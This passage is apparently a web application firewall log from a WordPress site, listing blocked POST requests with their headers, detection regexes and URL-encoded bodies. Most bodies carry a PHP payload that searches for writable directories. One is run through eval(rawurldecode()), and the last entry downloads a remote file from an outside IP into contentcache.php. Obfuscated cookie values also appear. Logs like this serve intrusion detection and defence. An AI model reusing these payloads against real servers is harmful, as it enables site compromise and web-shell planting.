%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 09:56:23","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> od:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo2DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3811\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\n\nod=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 09:56:24","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:3865\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 09:56:26","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> xI:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3822\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\n\nxI=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 09:56:29","103.143.207.18","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ya:%3C%3Fphp%20%20file_put_contents%28%27contentcache.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/hyUZrzMTrg%27%29%29%3B","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJJRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:175\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 